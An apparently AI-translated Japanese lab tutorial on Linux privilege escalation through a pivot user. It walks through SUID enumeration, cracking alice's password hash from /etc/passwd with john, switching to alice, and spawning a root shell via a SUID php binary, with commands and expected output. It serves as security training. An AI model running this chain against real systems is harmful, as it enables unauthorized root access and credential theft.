はじめに
この実験では、直接 root ユーザーに権限昇格できない場合に、どのようにして root ユーザーに権限昇格するかを学びます。まず別の通常ユーザーに権限昇格し、そのユーザーの権限を使って root ユーザーに昇格することでこれを達成します。この中間ユーザーは「踏み台」ユーザーと呼ばれます。
この実験の目標は、www-data ユーザーから alice ユーザーに権限昇格し、次に alice ユーザーから root ユーザーに権限昇格することです。
💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください
この実験では、直接 root ユーザーに権限昇格できない場合に、どのようにして root ユーザーに権限昇格するかを学びます。まず別の通常ユーザーに権限昇格し、そのユーザーの権限を使って root ユーザーに昇格することでこれを達成します。この中間ユーザーは「踏み台」ユーザーと呼ばれます。
この実験の目標は、www-data ユーザーから alice ユーザーに権限昇格し、次に alice ユーザーから root ユーザーに権限昇格することです。
このステップでは、実験環境を初期化します。
まず、ターミナルを開き、/home/labex/project
ディレクトリに移動します。
cd /home/labex/project
以下のコマンドを実行して、実験用の環境をセットアップします。
./env_setup.sh
このコマンドは、実験に必要な環境をセットアップするスクリプトをダウンロードして実行します。このコマンドを実行した後、www-data
ユーザーに切り替わり、Web 脆弱性を介して取得した初期シェルを模擬するはずです。
このステップでは、SUID (Set User ID) 技術を使って権限昇格を試みます。SUID ビットが設定された実行可能ファイルを検索します。これらのファイルは、ファイル所有者(この場合は root)の権限で実行できます。
まず、www-data
ユーザーがアクセスできる SUID 実行可能ファイルを検索しましょう。
find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt
このコマンドは、ルートユーザーが所有し、SUID ビットが設定された(パーミッションモード 4000)ファイルをファイルシステム全体で検索します。
コマンドを実行した後、www-data_suid_files.txt
ファイルに SUID 実行可能ファイルのリストが表示されるはずです。このファイルの内容を確認しましょう。
cat ~/www-data_suid_files.txt
ただし、この場合は、SUID を使った権限昇格に適したファイルはありません。
SUID 技術を使った権限昇格に失敗したので、潜在的な踏み台ユーザーのホームディレクトリを調査しましょう。
まず、/home
ディレクトリの内容をファイルに保存して、さらなる分析を行いましょう。
ls -alh /home > ~/home_dir_contents.txt
このコマンドは、/home
ディレクトリの内容を長い形式でリストアップし、ファイルサイズやパーミッションを含めて home_dir_contents.txt
ファイルに保存します。
次に、潜在的な踏み台を特定するために、home_dir_contents.txt
ファイルの内容を確認しましょう。
cat ~/home_dir_contents.txt
出力に alice
という名前のディレクトリが表示されるはずです。これは、システム上に alice
という名前のユーザーが存在することを示しています。
www-data
ユーザーは alice
ディレクトリにアクセスできないため、まず alice
ユーザーに権限昇格する方法を見つける必要があります。
alice
ユーザーに関する情報を /etc/passwd
ファイルから確認しましょう。
cat /etc/passwd | grep alice > ~/alice_info.txt
alice_info.txt
ファイルの内容を確認して、alice
ユーザーの詳細を表示します。
cat ~/alice_info.txt
期待される出力:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash
出力には、パスワードハッシュを含む alice
ユーザーのエントリが表示されるはずです。
パスワードハッシュをクラックするには、john
ツールを使用できます。新しいターミナルを開き、以下のコマンドを実行します。
john ~/alice_info.txt > cracked_passwords.txt
出力例:
Created directory: /var/www/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
これでパスワードクラッキングプロセスが開始されます。パスワードがクラックされると、cracked_passwords.txt
ファイルにパスワードが表示されるはずです。
cat ~/cracked_passwords.txt
出力例:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
beautiful (alice)
この場合、alice
ユーザーのパスワードは beautiful
です。su
コマンドを使用して alice
ユーザーに切り替えます。
su - alice
パスワードを求められたら、先ほどクラックしたパスワード (beautiful
) を入力します。
beautiful
alice
ユーザーに正常に切り替えた後、alice
ディレクトリに移動し、alice.txt
という名前の新しいファイルを作成します。
cd /home/alice
alice.txt
という名前の新しいファイルを作成します。
touch ~/alice.txt
これで alice
ディレクトリとその内容にアクセスできるはずです。
alice
ユーザーに権限昇格したので、再度 SUID を使った権限昇格手法を試してみましょう。
alice
ユーザーのホームディレクトリにいることを確認します。
cd /home/alice
以下のコマンドを実行して、SUID ビットが設定されたファイルを検索します。
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
alice_suid_files.txt
ファイルの内容を確認して、SUID ファイルのリストを表示します。
cat alice_suid_files.txt
期待される出力:
...
/var/bin/php
...
今回は、出力に実行可能ファイル /var/bin/php
が表示されるはずです。このファイルは SUID を使った権限昇格に利用できます。
root ユーザーに権限昇格するには、以下のコマンドを実行します。
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"
このコマンドは、root 権限で新しいシェルを起動する PHP スクリプトを実行します。
これで root シェルが起動しているはずで、ターミナルのプロンプトが #
になっています。root ディレクトリにファイルを作成することで、root 権限を持っていることを確認します。
touch /root/root.txt
ファイルが権限エラーなしで作成された場合、SUID 手法を使って root ユーザーに権限昇格に成功したことになります。
alice
ユーザーは SUID 実行可能な php
ファイルを見つけることができたのに、www-data
ユーザーは見つけることができなかったのはなぜか疑問に思うかもしれません。その答えはディレクトリの権限にあります。
前のステップの後、あなたは以下のような root
ユーザーとしてのシェルを持っているはずです。
sh-5.1#
/var/bin
ディレクトリの権限を調べ、出力をファイルに保存しましょう。
ls -lh /var > /root/var_permissions.txt
var_permissions.txt
ファイルの内容を確認して、/var
ディレクトリの権限を表示します。
cat /root/var_permissions.txt
期待される出力:
total 0
...
drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin
...
出力には、/var/bin
ディレクトリが alice
ユーザーとグループによって所有されていることが表示されるはずです。他のユーザーはこのディレクトリに対する読み取り、書き込み、または実行権限を持っていません。
これは、alice
ユーザーに権限昇格したときに、以前は www-data
ユーザーがアクセスできなかったファイルやディレクトリにアクセスできるようになったことを意味します。この権限の違いにより、権限昇格のために SUID 実行可能ファイルを見つけて利用することができました。
この実験では、直接 root ユーザーに権限昇格できない場合に、どのようにして root ユーザーに権限昇格するかを学びました。まず、踏み台ユーザーである alice
ユーザーに権限昇格し、その後 alice
ユーザーの権限を使って root ユーザーに権限昇格することでこれを達成しました。
この実験から得られる重要なポイントは、常にユーザー間の権限の違いに注意することです。これらの違いは、時には権限昇格に利用できることがあります。この実験では簡単な例を使いましたが、実際のシナリオはもっと複雑な場合がありますが、核心となる原則は同じです。つまり、ユーザー権限の違いを利用して権限昇格を達成するということです。